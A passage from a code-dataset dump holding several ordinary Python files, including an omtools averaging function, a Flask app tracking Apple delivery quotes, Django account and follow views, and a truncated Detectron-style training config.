import SingleTensorAverageComp\nfrom omtools.comps.multiple_tensor_average_comp import MultipleTensorAverageComp\nfrom omtools.core.variable import Variable\nfrom typing import List\nimport numpy as np\n\n\ndef average(*operands: List[Variable], axes=None):\n '''\n This function can compute the average of a single input, multiple inputs, or \n along an axis.\n\n Parameters\n ----------\n \n operands: Variables\n The Variable(s) over which to take the average\n \n\n axes: tuple[int]\n Axes along which to take the average, default value is None\n\n '''\n\n out = Variable()\n for expr in operands:\n if not isinstance(expr, Variable):\n raise TypeError(expr, \" is not an Variable object\")\n out.add_dependency_node(expr)\n\n if axes == None:\n if len(operands) == 1:\n out.build = lambda: SingleTensorAverageComp(\n in_name=operands[0].name,\n shape=operands[0].shape,\n out_name=out.name,\n val=operands[0].val,\n )\n else:\n out.shape = expr.shape\n out.build = lambda: MultipleTensorAverageComp(\n in_names=[expr.name for expr in operands],\n shape=expr.shape,\n out_name=out.name,\n vals=[expr.val for expr in operands],\n )\n else:\n output_shape = np.delete(expr.shape, axes)\n out.shape = tuple(output_shape)\n\n if len(operands) == 1:\n out.build = lambda: SingleTensorAverageComp(\n in_name=operands[0].name,\n shape=operands[0].shape,\n out_name=out.name,\n out_shape=out.shape,\n axes=axes,\n val=operands[0].val,\n )\n else:\n out.build = lambda: MultipleTensorAverageComp(\n in_names=[expr.name for expr in operands],\n shape=expr.shape,\n out_name=out.name,\n out_shape=out.shape,\n axes=axes,\n vals=[expr.val for expr in operands],\n )\n return out\n", "repo_name": "LSDOlab/omtools", "sub_path": "omtools/std/average.py", "file_name": "average.py", "file_ext": "py", "file_size_in_byte": 2176, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}, {"api_name": "omtools.core.variable.Variable", "line_number": 8, "usage_type": "name"}, {"api_name": "omtools.core.variable.Variable", "line_number": 25, "usage_type": "call"}, {"api_name": "omtools.core.variable.Variable", "line_number": 27, "usage_type": "argument"}, {"api_name": "omtools.comps.single_tensor_average_comp.SingleTensorAverageComp", "line_number": 33, "usage_type": "call"}, {"api_name": "omtools.comps.multiple_tensor_average_comp.MultipleTensorAverageComp", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 48, "usage_type": "call"}, {"api_name": "omtools.comps.single_tensor_average_comp.SingleTensorAverageComp", "line_number": 52, "usage_type": "call"}, {"api_name": "omtools.comps.multiple_tensor_average_comp.MultipleTensorAverageComp", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "25139994478", "text": "from flask import Flask, jsonify, request\nfrom flask import render_template\nimport requests, json\nimport pandas as pd\nimport numpy as np\nimport datetime\nfrom dateutil.parser import parse\n\napp = Flask(__name__)\n \n \ndef get_df():\n countries = {\n 'tw': ['MQAD2TA/A', 'MQAG2TA/A','MQAC2TA/A','MQAF2TA/A'],\n 'cn': ['MQA62CH/A', 'MQA92CH/A','MQA52CH/A','MQA82CH/A'],\n }\n \n Silvers = ['MQAK2', 'MQAR2', 'MQAD2', 'MQAN2', 'MQAV2', 'MQAG2',\n 'MQCT2', 'MQCL2', 'MQAY2', 'MQA62',\n 'MQCW2', 'MQCP2', 'MQC22', 'MQA92']\n \n Gray = ['MQAJ2', 'MQAQ2', 'MQAC2', 'MQAM2', 'MQAU2', 'MQAF2',\n 'MQCR2', 'MQCK2', 'MQAX2', 'MQA52',\n 'MQCV2', 'MQCN2', 'MQC12', 'MQA82']\n \n sixfour = ['MQAK2', 'MQAR2', 'MQAD2', 'MQCT2', 'MQCL2', 'MQAY2', 'MQA62', \n 'MQCR2', 'MQCK2', 'MQAX2', 'MQA52', 'MQAJ2', 'MQAQ2', 'MQAC2']\n \n res = []\n for country in countries:\n for type in countries[country]:\n d = {}\n d['time'] = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n d['country'] = country\n d['type'] = type\n d['color'] = 'Silvers' if type[0:5] in Silvers else 'Gray'\n d['size'] = '64GB' if type[0:5] in sixfour else '256GB' \n url = 'https://www.apple.com/%s/shop/delivery-message?parts.0=%s&little=true' % (country, type)\n r = requests.get(url)\n response = json.loads(r.text)\n d['quote'] = response['body']['content']['deliveryMessage'][type]['quote']\n res.append(d)\n \n df = pd.DataFrame(res)\n return df\n\ndf = {'data': pd.DataFrame(), 'time': None}\n\n\n@app.route(\"/update\")\ndef update():\n global df\n with open('my_csv.csv', 'a') as f:\n get_df().to_csv(f, header=False)\n df['data'] = json.loads(get_df().to_json())\n df['time'] = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n return jsonify(df)\n\n@app.route(\"/data\")\ndef data():\n global df\n return jsonify(df)\n\n@app.route(\"/\")\ndef hello():\n \n country = request.values.get('country', '')\n index = request.values.get('index', 'color')\n column = request.values.get('column', 'size')\n \n # df = get_df()\n df = pd.read_csv('my_csv.csv')\n print(df)\n pivot = pd.pivot_table(df, values='quote', index=[index],\n columns=[column], aggfunc=np.size)\n \n if country:\n return render_template(\"index.html\", df=df[df['country']==country].to_html(), pivot=pivot.to_html(), index=index, column=column)\n return render_template(\"index.html\", df=df.to_html(), pivot=pivot.to_html(), index=index, column=column)\n \nif __name__ == \"__main__\":\n app.run(debug=True)\n", "repo_name": "v123582/flask-example", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 2681, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 33, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 39, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 47, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.request.values.get", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 67, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 67, "usage_type": "name"}, {"api_name": "flask.request.values.get", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 68, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 68, "usage_type": "name"}, {"api_name": "flask.request.values.get", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 69, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 69, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 72, "usage_type": "call"}, {"api_name": "pandas.pivot_table", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 79, "usage_type": "call"}]} +{"seq_id": "72601455319", "text": "__author__ = 'delin'\n\n\ndef modules_urlpattern():\n from django.conf.urls import patterns, url, include\n from django.utils.importlib import import_module\n from MyAdmin.settings import INSTALLED_MODULES\n\n urlpatterns = []\n for module in INSTALLED_MODULES:\n cur_module = import_module(module).myadmin_module\n\n urlpatterns += patterns(\n '',\n url(r'^module/' + cur_module.app_name + '/',\n include(module + '.urls', app_name=cur_module.app_name)),\n )\n\n return urlpatterns", "repo_name": "delin/MyAdmin-Modules", "sub_path": "__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 540, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "MyAdmin.settings.INSTALLED_MODULES", "line_number": 10, "usage_type": "name"}, {"api_name": "django.utils.importlib.import_module", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.patterns", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "5204695056", "text": "from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom .forms import MyUserCreationForm\nfrom .models import Contact\nfrom image.models import Image\n\n'''\nfrom django.http import HttpResponse\nfrom django.contrib.auth import authenticate, login\n\nfrom .forms import LoginForm\n\ndef user_login(request):\n if request.method == \"POST\":\n form = LoginForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n user = authenticate(\n request,\n username=cd[\"username\"],\n password=cd[\"password\"]\n )\n if user != None:\n if user.is_active:\n login(request, user)\n return HttpResponse(\"Authenticated Successfully\")\n else:\n return HttpResponse(\"Disabled account\")\n else:\n return HttpResponse(\"Invalid login\")\n else:\n form = LoginForm()\n return render(\n request,\n \"account/login.html\",\n {\"form\": form}\n )\n'''\n@login_required\ndef home(request):\n image_list = []\n \n for user in request.user.following.all():\n for image in Image.objects.filter(user=user):\n image_list.append(image)\n image_list.sort(key=lambda x: x.created, reverse=True)\n\n paginator = Paginator(image_list, 3)\n page = request.GET.get(\"page\")\n try:\n image_list = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver the first page\n image_list = paginator.page(1)\n except EmptyPage:\n # If page is out of range, deliver last page of results\n image_list = paginator.page(paginator.num_pages)\n\n return render(\n request,\n \"account/home.html\",\n {\"images\": image_list}\n )\n\ndef register(request):\n if request.method == \"POST\":\n user_form = MyUserCreationForm(request.POST)\n if user_form.is_valid():\n new_user = user_form.save(commit=False)\n new_user.set_password(\n user_form.cleaned_data[\"password1\"]\n )\n new_user.save()\n return render(\n request,\n \"account/register_done.html\",\n {\"new_user\": new_user}\n )\n else:\n user_form = MyUserCreationForm()\n return render(\n request,\n \"account/register.html\",\n {\"user_form\": user_form}\n )\n\n@login_required\ndef profile(request, username):\n user = User.objects.filter(username=username).first()\n return render(\n request,\n \"account/profile.html\",\n {\"user\": user}\n )\n\n@login_required\ndef user_list(request):\n user_list = User.objects.all()\n return render(\n request,\n \"account/user_list.html\",\n {\"user_list\": user_list}\n )\n\n@login_required\ndef follow(request, username):\n user_to = User.objects.filter(username=username).first()\n user_from = request.user\n con = Contact(\n user_from = user_from,\n user_to = user_to\n )\n con.save()\n return redirect(\"user_page\", id=user_to.id)\n\n@login_required\ndef unfollow(request, username):\n user_to = User.objects.filter(username=username).first()\n user_from = request.user\n con = Contact.objects.filter(user_from = user_from, user_to = user_to).first()\n if con:\n con.delete()\n return redirect(\"user_page\", id=user_to.id)\n\n@login_required\ndef user_page(request, id):\n user = User.objects.filter(id=id).first()\n image_list = Image.objects.filter(user=user)\n paginator = Paginator(image_list, 12)\n page = request.GET.get(\"page\")\n try:\n image_list = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver the first page\n image_list = paginator.page(1)\n except EmptyPage:\n # If page is out of range, deliver last page of results\n image_list = paginator.page(paginator.num_pages)\n\n return render(\n request,\n \"account/user_page.html\",\n {\n \"user\": user,\n \"images\": image_list\n }\n )\n\n@login_required\ndef following_users(request, id):\n user = User.objects.filter(id=id).first()\n following_users = user.following.all()\n return render(\n request,\n \"account/following_users.html\",\n {\"following_users\": following_users}\n )\n\n@login_required\ndef follower_users(request, id):\n user = User.objects.filter(id=id).first()\n followers = user.followers.all()\n return render(\n request,\n \"account/follower_users.html\",\n {\"followers\": followers}\n )", "repo_name": "jiajunchang/Django-MyShare", "sub_path": "account/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4817, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "image.models", "line_number": 47, "usage_type": "name"}, {"api_name": "image.models.Image.objects.filter", "line_number": 47, "usage_type": "call"}, {"api_name": "image.models.Image.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "image.models.Image", "line_number": 47, "usage_type": "name"}, {"api_name": "image.models", "line_number": 48, "usage_type": "argument"}, {"api_name": "django.core.paginator.Paginator", "line_number": 51, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 55, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 58, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 62, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 42, "usage_type": "name"}, {"api_name": "forms.MyUserCreationForm", "line_number": 70, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 77, "usage_type": "call"}, {"api_name": "forms.MyUserCreationForm", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 84, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 92, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 92, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 93, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 90, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 101, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 101, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 101, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 102, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 99, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 110, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 110, "usage_type": "name"}, {"api_name": "models.Contact", "line_number": 112, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 117, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 108, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 121, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 121, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 121, "usage_type": "name"}, {"api_name": "models.Contact.objects.filter", "line_number": 123, "usage_type": "call"}, {"api_name": "models.Contact.objects", "line_number": 123, "usage_type": "attribute"}, {"api_name": "models.Contact", "line_number": 123, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 126, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 119, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 130, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 130, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 130, "usage_type": "name"}, {"api_name": "image.models.Image.objects.filter", "line_number": 131, "usage_type": "call"}, {"api_name": "image.models.Image.objects", "line_number": 131, "usage_type": "attribute"}, {"api_name": "image.models.Image", "line_number": 131, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 132, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 136, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 139, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 143, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 128, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 154, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 154, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 154, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 156, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 152, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 164, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 164, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 164, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 166, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 162, "usage_type": "name"}]} +{"seq_id": "25221071020", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport six\nimport os\nimport os.path as osp\nimport copy\nfrom ast import literal_eval\n\nimport numpy as np\nfrom packaging import version\nimport torch\nimport torch.nn as nn\nfrom torch.nn import init\nimport yaml\n\nimport nn as mynn\nfrom utils.collections import AttrDict\n\n__C = AttrDict()\n# Consumers can get config by:\n# from fast_rcnn_config import cfg\ncfg = __C\n\n\n# Random note: avoid using '.ON' as a config key since yaml converts it to True;\n# prefer 'ENABLED' instead\n\n# ---------------------------------------------------------------------------- #\n# Training options\n# ---------------------------------------------------------------------------- #\n__C.TRAIN = AttrDict()\n\n# Datasets to train on\n# Available dataset list: datasets.dataset_catalog.DATASETS.keys()\n# If multiple datasets are listed, the model is trained on their union\n__C.TRAIN.DATASETS = ()\n\n# Scales to use during training\n# Each scale is the pixel size of an image's shortest side\n# If multiple scales are listed, then one is selected uniformly at random for\n# each training image (i.e., scale jitter data augmentation)\n__C.TRAIN.SCALES = (600, )\n\n# Max pixel size of the longest side of a scaled input image\n__C.TRAIN.MAX_SIZE = 1000\n\n# Images *per GPU* in the training minibatch\n# Total images per minibatch = TRAIN.IMS_PER_BATCH * NUM_GPUS\n__C.TRAIN.IMS_PER_BATCH = 2\n\n# RoI minibatch size *per image* (number of regions of interest [ROIs])\n# Total number of RoIs per training minibatch =\n# TRAIN.BATCH_SIZE_PER_IM * TRAIN.IMS_PER_BATCH * NUM_GPUS\n# E.g., a common configuration is: 512 * 2 * 8 = 8192\n__C.TRAIN.BATCH_SIZE_PER_IM = 64\n\n# Use horizontally-flipped images during training?\n__C.TRAIN.USE_FLIPPED = True\n\n# Train using these proposals\n# During training, all proposals specified in the file are used (no limit is\n# applied)\n# Proposal files must be in correspondence with the datasets listed in\n# TRAIN.DATASETS\n__C.TRAIN.PROPOSAL_FILES = ()\n\n# Snapshot (model checkpoint) period\n# Divide by NUM_GPUS to determine actual period (e.g., 20000/8 => 2500 iters)\n# to allow for linear training schedule scaling\n__C.TRAIN.SNAPSHOT_ITERS = 10000\n\n# Filter proposals that are inside of crowd regions by CROWD_FILTER_THRESH\n# \"Inside\" is measured as: proposal-with-crowd intersection area divided by\n# proposal area\n__C.TRAIN.CROWD_FILTER_THRESH = 0\n\n# Ignore ground-truth objects with area < this threshold\n__C.TRAIN.GT_MIN_AREA = -1\n\n# Freeze the backbone architecture during training if set to True\n__C.TRAIN.FREEZE_CONV_BODY = False\n\n# The maximum number of proposal clusters\n__C.TRAIN.MAX_PC_NUM = 5\n\n# The number of k-means clusters\n__C.TRAIN.NUM_KMEANS_CLUSTER = 3\n\n# The IoU threshold to build graph\n__C.TRAIN.GRAPH_IOU_THRESHOLD = 0.4\n\n__C.TRAIN.FG_THRESH = 0.5\n\n__C.TRAIN.BG_THRESH = 0.1\n\n# ---------------------------------------------------------------------------- #\n# Data loader options\n# ---------------------------------------------------------------------------- #\n__C.DATA_LOADER = AttrDict()\n\n# Number of Python threads to use for the data loader (warning: using too many\n# threads can cause GIL-based interference with Python Ops leading to *slower*\n# training; 4 seems to be the sweet spot in our experience)\n__C.DATA_LOADER.NUM_THREADS = 4\n\n\n# ---------------------------------------------------------------------------- #\n# Inference ('test') options\n# ---------------------------------------------------------------------------- #\n__C.TEST = AttrDict()\n\n# Datasets to test on\n# Available dataset list: datasets.dataset_catalog.DATASETS.keys()\n# If multiple datasets are listed, testing is performed on each one sequentially\n__C.TEST.DATASETS = ()\n\n# Scale to use during testing (can NOT list multiple scales)\n# The scale is the pixel size of an image's shortest side\n__C.TEST.SCALE = 600\n\n# Max pixel size of the longest side of a scaled input image\n__C.TEST.MAX_SIZE = 1000\n\n# Overlap threshold used for non-maximum suppression (suppress boxes with\n# IoU >= this threshold)\n__C.TEST.NMS = 0.3\n\n# Test using these proposal files (must correspond with TEST.DATASETS)\n__C.TEST.PROPOSAL_FILES = ()\n\n# Limit on the number of proposals per image used during inference\n__C.TEST.PROPOSAL_LIMIT = -1\n\n# Maximum number of detections to return per image (100 is based on the limit\n# established for the COCO dataset)\n__C.TEST.DETECTIONS_PER_IM = 100\n\n# Minimum score threshold (assuming scores in a [0, 1] range); a value chosen to\n# balance obtaining high recall with not having too many low precision\n# detections that will slow down inference post processing steps (like NMS)\n__C.TEST.SCORE_THRESH = 1e-5\n\n# Save detection results files if True\n# If false, results files are cleaned up (they can be large) after local\n# evaluation\n__C.TEST.COMPETITION_MODE = True\n\n# Evaluate detections with the COCO json dataset eval code even if it's not the\n# evaluation code for the dataset (e.g. evaluate PASCAL VOC results using the\n# COCO API to get COCO style AP on PASCAL VOC)\n__C.TEST.FORCE_JSON_DATASET_EVAL = False\n\n# [Inferred value; do not set directly in a config]\n# Indicates if precomputed proposals are used at test time\n# Not set for 1-stage models and 2-stage models with RPN subnetwork enabled\n__C.TEST.PRECOMPUTED_PROPOSALS = True\n\n\n# ---------------------------------------------------------------------------- #\n# Test-time augmentations for bounding box detection\n# See configs/test_time_aug/e2e_mask_rcnn_R-50-FPN_2x.yaml for an example\n# ---------------------------------------------------------------------------- #\n__C.TEST.BBOX_AUG = AttrDict()\n\n# Enable test-time augmentation for bounding box detection if True\n__C.TEST.BBOX_AUG.ENABLED = False\n\n# Heuristic used to combine predicted box scores\n# Valid options: ('ID', 'AVG', 'UNION')\n__C.TEST.BBOX_AUG.SCORE_HEUR = 'AVG'\n\n# Heuristic used to combine predicted box coordinates\n# Valid options: ('ID', 'AVG', 'UNION')\n__C.TEST.BBOX_AUG.COORD_HEUR = 'ID'\n\n# Horizontal flip at the original scale (id transform)\n__C.TEST.BBOX_AUG.H_FLIP = False\n\n# Each scale is the pixel size of an image's shortest side\n__C.TEST.BBOX_AUG.SCALES = ()\n\n# Max pixel size of the longer side\n__C.TEST.BBOX_AUG.MAX_SIZE = 4000\n\n# Horizontal flip at each scale\n__C.TEST.BBOX_AUG.SCALE_H_FLIP = False\n\n# Apply scaling based on object size\n__C.TEST.BBOX_AUG.SCALE_SIZE_DEP = False\n__C.TEST.BBOX_AUG.AREA_TH_LO = 50**2\n__C.TEST.BBOX_AUG.AREA_TH_HI = 180**2\n\n# Each aspect ratio is relative to image width\n__C.TEST.BBOX_AUG.ASPECT_RATIOS = ()\n\n# Horizontal flip at each aspect ratio\n__C.TEST.BBOX_AUG.ASPECT_RATIO_H_FLIP = False\n\n# ---------------------------------------------------------------------------- #\n# Soft NMS\n# ---------------------------------------------------------------------------- #\n__C.TEST.SOFT_NMS = AttrDict()\n\n# Use soft NMS instead of standard NMS if set to True\n__C.TEST.SOFT_NMS.ENABLED = False\n# See soft NMS paper for definition of these options\n__C.TEST.SOFT_NMS.METHOD = 'linear'\n__C.TEST.SOFT_NMS.SIGMA = 0.5\n# For the soft NMS overlap threshold, we simply use TEST.NMS\n\n# ---------------------------------------------------------------------------- #\n# Bounding box voting (from the Multi-Region CNN paper)\n# ---------------------------------------------------------------------------- #\n__C.TEST.BBOX_VOTE = AttrDict()\n\n# Use box voting if set to True\n__C.TEST.BBOX_VOTE.ENABLED = False\n\n# We use TEST.NMS threshold for the NMS step. VOTE_TH overlap threshold\n# is used to select voting boxes (IoU >= VOTE_TH) for each box that survives NMS\n__C.TEST.BBOX_VOTE.VOTE_TH = 0.8\n\n# The method used to combine scores when doing bounding box voting\n# Valid options include ('ID', 'AVG', 'IOU_AVG', 'GENERALIZED_AVG', 'QUASI_SUM')\n__C.TEST.BBOX_VOTE.SCORING_METHOD = 'ID'\n\n# Hyperparameter used by the scoring method (it has different meanings for\n# different methods)\n__C.TEST.BBOX_VOTE.SCORING_METHOD_BETA = 1.0\n\n\n# ---------------------------------------------------------------------------- #\n# Model options\n# ---------------------------------------------------------------------------- #\n__C.MODEL = AttrDict()\n\n# The type of model to use\n# The string must match a function in the modeling.model_builder module\n# (e.g., 'generalized_rcnn', 'mask_rcnn', ...)\n__C.MODEL.TYPE = ''\n\n# The backbone conv body to use\n__C.MODEL.CONV_BODY = ''\n\n# Number of classes in the dataset; must be set\n# E.g., 81 for COCO (80 foreground + 1 background)\n__C.MODEL.NUM_CLASSES = -1\n\n# Whether to load imagenet pretrained weights\n# If True, path to the weight file must be specified.\n# See: __C.RESNETS.IMAGENET_PRETRAINED_WEIGHTS\n__C.MODEL.LOAD_IMAGENET_PRETRAINED_WEIGHTS = True\n\n# Default weights on (dx, dy, dw, dh) for normalizing bbox regression targets\n# These are empirically chosen to approximately lead to unit variance targets\n#\n# In older versions, the weights were set such that the regression deltas\n# would have unit standard deviation on the training dataset. Presently, rather\n# than computing these statistics exactly, we use a fixed set of weights\n# (10., 10., 5., 5.) by default. These are approximately the weights one would\n# get from COCO using the previous unit stdev heuristic.\n__C.MODEL.BBOX_REG_WEIGHTS = (10., 10., 5., 5.)\n\n# With Fast R-CNN branch\n__C.MODEL.WITH_FRCNN = True\n\n# ---------------------------------------------------------------------------- #\n# Solver options\n# Note: all solver options are used exactly as specified; the implication is\n# that if you switch from training on 1 GPU to N GPUs, you MUST adjust the\n# solver configuration accordingly. We suggest using gradual warmup and the\n# linear learning rate scaling rule as described in\n# \"Accurate, Large Minibatch SGD: Training ImageNet in 1 Hour\" Goyal et al.\n# https://arxiv.org/abs/1706.02677\n# ---------------------------------------------------------------------------- #\n__C.SOLVER = AttrDict()\n\n# e.g 'SGD', 'Adam'\n__C.SOLVER.TYPE = 'SGD'\n\n# Base learning rate for the specified schedule\n__C.SOLVER.BASE_LR = 0.001\n\n# Schedule type (see functions in utils.lr_policy for options)\n# E.g., 'step', 'steps_with_decay', ...\n__C.SOLVER.LR_POLICY = 'step'\n\n# Some LR Policies (by example):\n# 'step'\n# lr = SOLVER.BASE_LR * SOLVER.GAMMA ** (cur_iter // SOLVER.STEP_SIZE)\n# 'steps_with_decay'\n# SOLVER.STEPS = [0, 60000, 80000]\n# SOLVER.GAMMA = 0.1\n# lr = SOLVER.BASE_LR * SOLVER.GAMMA ** current_step\n# iters [0, 59999] are in current_step = 0, iters [60000, 79999] are in\n# current_step = 1, and so on\n# 'steps_with_lrs'\n# SOLVER.STEPS = [0, 60000, 80000]\n# SOLVER.LRS = [0.02, 0.002, 0.0002]\n# lr = LRS[current_step]\n\n# Hyperparameter used by the specified policy\n# For 'step', the current LR is multiplied by SOLVER.GAMMA at each step\n__C.SOLVER.GAMMA = 0.1\n\n# Uniform step size for 'steps' policy\n__C.SOLVER.STEP_SIZE = 30000\n\n# Non-uniform step iterations for 'steps_with_decay' or 'steps_with_lrs'\n# policies\n__C.SOLVER.STEPS = []\n\n# Learning rates to use with 'steps_with_lrs' policy\n__C.SOLVER.LRS = []\n\n# Maximum number of SGD iterations\n__C.SOLVER.MAX_ITER = 40000\n\n# Momentum to use with SGD\n__C.SOLVER.MOMENTUM = 0.9\n\n# L2 regularization hyperparameter\n__C.SOLVER.WEIGHT_DECAY = 0.0005\n# L2 regularization hyperparameter for GroupNorm's parameters\n__C.SOLVER.WEIGHT_DECAY_GN = 0.0\n\n# Whether to double the learning rate for bias\n__C.SOLVER.BIAS_DOUBLE_LR = True\n\n# Whether to have weight decay on bias as well\n__C.SOLVER.BIAS_WEIGHT_DECAY = False\n\n# Warm up to SOLVER.BASE_LR over this number of SGD iterations\n__C.SOLVER.WARM_UP_ITERS = 500\n\n# Start the warm up from SOLVER.BASE_LR * SOLVER.WARM_UP_FACTOR\n__C.SOLVER.WARM_UP_FACTOR = 1.0 / 3.0\n\n# WARM_UP_METHOD can be either 'constant' or 'linear' (i.e., gradual)\n__C.SOLVER.WARM_UP_METHOD = 'linear'\n\n# Scale the momentum update history by new_lr / old_lr when updating the\n# learning rate (this is correct given MomentumSGDUpdateOp)\n__C.SOLVER.SCALE_MOMENTUM = True\n# Only apply the correction if the relative LR change exceeds this threshold\n# (prevents ever change in linear warm up from scaling the momentum by a tiny\n# amount; momentum scaling is only important if the LR change is large)\n__C.SOLVER.SCALE_MOMENTUM_THRESHOLD = 1.1\n\n# Suppress logging of changes to LR unless the relative change exceeds this\n# threshold (prevents linear warm up from spamming the training log)\n__C.SOLVER.LOG_LR_CHANGE_THRESHOLD = 1.1\n\n\n# ---------------------------------------------------------------------------- #\n# Fast R-CNN options\n# ---------------------------------------------------------------------------- #\n__C.FAST_RCNN = AttrDict()\n\n# The type of RoI head to use for bounding box classification and regression\n# The string must match a function this is imported in modeling.model_builder\n# (e.g., 'head_builder.add_roi_2mlp_head' to specify a two hidden layer MLP)\n__C.FAST_RCNN.ROI_BOX_HEAD = ''\n\n# Hidden layer dimension when using an MLP for the RoI box head\n__C.FAST_RCNN.MLP_HEAD_DIM = 1024\n\n# Hidden Conv layer dimension when using Convs for the RoI box head\n__C.FAST_RCNN.CONV_HEAD_DIM = 256\n# Number of stacked Conv layers in the RoI box head\n__C.FAST_RCNN.NUM_STACKED_CONVS = 4\n\n# RoI transformation function (e.g., RoIPool or RoIAlign)\n# (RoIPoolF is the same as RoIPool; ignore the trailing 'F')\n__C.FAST_RCNN.ROI_XFORM_METHOD = 'RoIPoolF'\n\n# Number of grid sampling points in 